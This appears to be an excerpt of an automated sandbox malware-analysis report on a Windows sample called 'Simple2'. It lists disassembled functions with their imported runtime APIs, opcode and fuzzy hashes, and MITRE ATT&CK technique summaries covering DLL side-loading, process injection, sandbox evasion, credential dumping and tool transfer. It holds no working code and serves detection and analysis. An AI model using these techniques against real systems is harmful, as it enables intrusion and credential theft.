Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: b595f4fd043cd733e3912ba7a5329e90f48e81d9ba2d2f19fc89601e4949a791
Instruction ID: 6e2f0b3e506a5dc9936acf1bd7efabd3006bf7f4edcc43687c1481296878cb4c
Opcode Fuzzy Hash: b595f4fd043cd733e3912ba7a5329e90f48e81d9ba2d2f19fc89601e4949a791
Instruction Fuzzy Hash: DA51B033A08B8592FA109F21D5046AD2B71FB14FC8F14463ADE2C97B91CF79E9A5D340

Function 00007FF6D5CA9AA0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF6D5CA9ACD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF6D5CA9AE7
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF6D5CA9B19
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF6D5CA9B44
std::_Facet_Register.LIBCPMT ref: 00007FF6D5CA9B5D
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF6D5CA9B7C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA9BA7

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Concurrency::cancel_current_taskFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 762505753-0
Opcode ID: 545df3c9766ed185f8b794c35ee2b3ec209f071c21cbcf1c646a21f7ed853349
Instruction ID: 5eaa46047dabe80bf2b8fdbc92a5c78128802307e4b0566040b8c5d7b480b637
Opcode Fuzzy Hash: 545df3c9766ed185f8b794c35ee2b3ec209f071c21cbcf1c646a21f7ed853349
Instruction Fuzzy Hash: 46311A22A09B4581EB249B11E48056D6B70FB88FD4F48163ADE9E87B64DF3CE861C700

Function 00007FF6D5CAA4F0 Relevance: 9.1, APIs: 6, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6D5CAA61B
memcpy.VCRUNTIME140 ref: 00007FF6D5CAA629
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAA667
memcpy.VCRUNTIME140 ref: 00007FF6D5CAA671
memcpy.VCRUNTIME140 ref: 00007FF6D5CAA67F

Part of subcall function 00007FF6D5CAB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAA6B5

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 070655a0978f02405b548f76d8b7b4ea2e98303e64286a190ea9cd260f08c51b
Instruction ID: 10ed88f71d9ecfe7685878bde3dd1fd8ab66ba429d1bc41c9016034d28bbc9a5
Opcode Fuzzy Hash: 070655a0978f02405b548f76d8b7b4ea2e98303e64286a190ea9cd260f08c51b
Instruction Fuzzy Hash: 1D41DF63B08A4191EA109B16A9046AD6B71EB48FF0F54473ADE7E87FD4DE3CD861C304

Function 00007FF6D5CA8030 Relevance: 7.6, APIs: 5, Instructions: 126COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000002,?,00007FF6D5CA8A88), ref: 00007FF6D5CA80FB
memcpy.VCRUNTIME140(?,00000002,?,00007FF6D5CA8A88), ref: 00007FF6D5CA8121
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA813C
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF6D5CA8A88), ref: 00007FF6D5CA81A5
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF6D5CA8A88), ref: 00007FF6D5CA81AE

Part of subcall function 00007FF6D5CAB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ios@??1?$basic_iostream@Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmallocmemcpy
String ID:
API String ID: 4149368473-0
Opcode ID: f3f1774fee9b6a742e75e893d1d9fdb020d8d560f48af612a45d390866cab7c4
Instruction ID: 61d53c1b72c63d869685d7f882757d32105b0f1221ee0e38304f5d2df66c8297
Opcode Fuzzy Hash: f3f1774fee9b6a742e75e893d1d9fdb020d8d560f48af612a45d390866cab7c4
Instruction Fuzzy Hash: AA41A023B05B4282EA549B65E4447AC6770EB44FE4F14863ADF2D47BD2DE38D8A6C300

Function 00007FF6D5CAC906 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00007FF6D5CAC93B
__current_exception_context.VCRUNTIME140 ref: 00007FF6D5CAC94F
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAC957

Strings

csm, xrefs: 00007FF6D5CAC927

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction ID: 23808e5e06762baa1ab9b4fcb7edb304ec4c5f33d2237e744fab290558d2468d
Opcode Fuzzy Hash: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction Fuzzy Hash: 4CF0E737605A45CAC7149F21E8805AC3774F749B88F495125FE4D87B55CF38D8A18340

Function 00007FF6D5CA9EF0 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6D5CAA81F), ref: 00007FF6D5CAA002
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6D5CAA81F), ref: 00007FF6D5CAA048
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6D5CAA81F), ref: 00007FF6D5CAA052

Part of subcall function 00007FF6D5CAB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAA08E

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 96873907a9cf4fea664ace19dd2153a676c7447fca7a9d11e1bd71d37fddedd0
Instruction ID: 1a655ac205a91ab51e676be40120646c18dc0988528c1072ba0dd83fafad5f70
Opcode Fuzzy Hash: 96873907a9cf4fea664ace19dd2153a676c7447fca7a9d11e1bd71d37fddedd0
Instruction Fuzzy Hash: 8441AC26B08A4181EA149B11E9449ADAB75AB08FF0F54473ADE7E87FD4DE7CE861C304

Function 00007FF6D5CA9D40 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF6D5CAA81F), ref: 00007FF6D5CA9E58
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00000000,00007FF6D5CAA81F), ref: 00007FF6D5CA9E9B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF6D5CAA81F), ref: 00007FF6D5CA9EA5

Part of subcall function 00007FF6D5CAB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA9EE0

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 54496fb58b889501c0e1bb3a74d0beea14c82f2c10c546aaa0415fc8883c2b09
Instruction ID: 57834aedc63691cf4e252e967b7b431017715bdb35f1c79091deb77197f3d8fd
Opcode Fuzzy Hash: 54496fb58b889501c0e1bb3a74d0beea14c82f2c10c546aaa0415fc8883c2b09
Instruction Fuzzy Hash: B841DE22B08A4181EA149B11A5455BDAA74AB04FF4F54473ADE7E87FD6DF3CE862C300

Function 00007FF6D5CA9910 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00007FF6D5CA4851), ref: 00007FF6D5CA9A19
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF6D5CA4851), ref: 00007FF6D5CA9A4E
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF6D5CA4851), ref: 00007FF6D5CA9A5E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA9A92

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: a024b2ebc0ba59a1b78b339bf0e64b197d729fe7143313806a72fec7981749ca
Instruction ID: eedd4ab254d46742227f206f6924dec07d06bb51c890d0f5032d39ff8b442c77
Opcode Fuzzy Hash: a024b2ebc0ba59a1b78b339bf0e64b197d729fe7143313806a72fec7981749ca
Instruction Fuzzy Hash: BE41E323B19A4190EA10DB11A44456D6A74FB48FF0F54873AEE7E87BD4EE3CD8A1C300

Function 00007FF6D5CA6EB0 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7db282e29bddddf1267576aac1fe13729b1fc00772b1e8be868d075bea65a2a
Instruction ID: 91feba418456433264fe43fbf6f25ecffd147887916fa4d69beafcc844ddd0a7
Opcode Fuzzy Hash: e7db282e29bddddf1267576aac1fe13729b1fc00772b1e8be868d075bea65a2a
Instruction Fuzzy Hash: A6510C73608A8285DB148F29E45076D77B5FB84FD8F54413BDA5D87BA8DE28C854C700

Function 00007FF6D5CAA200 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6D5CAA2DA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAA318
memcpy.VCRUNTIME140 ref: 00007FF6D5CAA322
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAA354

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: d32795b5364341438e5f21e4d5ffad7b052a27a8c85df0ccc87315fa04e58b2a
Instruction ID: 5d8cb085eddc0fae72212017eeaee487ac6f79ce7263bf8a056d238ca0a46ffa
Opcode Fuzzy Hash: d32795b5364341438e5f21e4d5ffad7b052a27a8c85df0ccc87315fa04e58b2a
Instruction Fuzzy Hash: D5311523B09A4195EE149F62D9442AD6B71EB08FE0F14463ADF5D87FC9EE7CD8A08300

Function 00007FF6D5CA7DF0 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6D5CA7E5A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA7EDB

Part of subcall function 00007FF6D5CAB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2

memcpy.VCRUNTIME140 ref: 00007FF6D5CA7F0B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA7F2F

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 169160d15526732c8a96bd8d8d58e6bb0ddfd76f2d29cc5e8210dcf89adcbc02
Instruction ID: 82fb587001b78bf482714238203a7539be52f84d9853cd5d24025ab224e51c05
Opcode Fuzzy Hash: 169160d15526732c8a96bd8d8d58e6bb0ddfd76f2d29cc5e8210dcf89adcbc02
Instruction Fuzzy Hash: AD315023B0564695EA189B51A81057C2AB4BB45FF8F144B3ADE3D87FD1DF38EDA28340

Function 00007FF6D5CAA0A0 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6D5CAA180
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAA1BD
memcpy.VCRUNTIME140 ref: 00007FF6D5CAA1C7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAA1FA

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 12abe477f0d9fecc3484fd8622d244d8825daa75e12ddb83e1da9318b497b56a
Instruction ID: 45964534ae2f5477c6725e52fbeb7f18e8796ccf53a42e7c08620a2a85dcff7d
Opcode Fuzzy Hash: 12abe477f0d9fecc3484fd8622d244d8825daa75e12ddb83e1da9318b497b56a
Instruction Fuzzy Hash: 2C311623B09781A1EE109B11A9046ADAA71EB05FD0F88463ADF6D87FD5DF7CE861C300

Function 00007FF6D5CA9BB0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6D5CA9BE8
memcpy.VCRUNTIME140 ref: 00007FF6D5CA9C89
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA9CA7

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task
String ID:
API String ID: 326894585-0
Opcode ID: bdb282f226c54cd3a684e266ba619150567f3ad3138a523370898103b53848e2
Instruction ID: 08e6a4629f43c48a370a9ad2eba33b2a0dfd78fc5efd1f3c3c6c361d7ddf4ddc
Opcode Fuzzy Hash: bdb282f226c54cd3a684e266ba619150567f3ad3138a523370898103b53848e2
Instruction Fuzzy Hash: 2021F963A09B4644FA259B51A54177C2AA49B04FE8F540B3ADE6D87FC1DF3CA8A28300

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

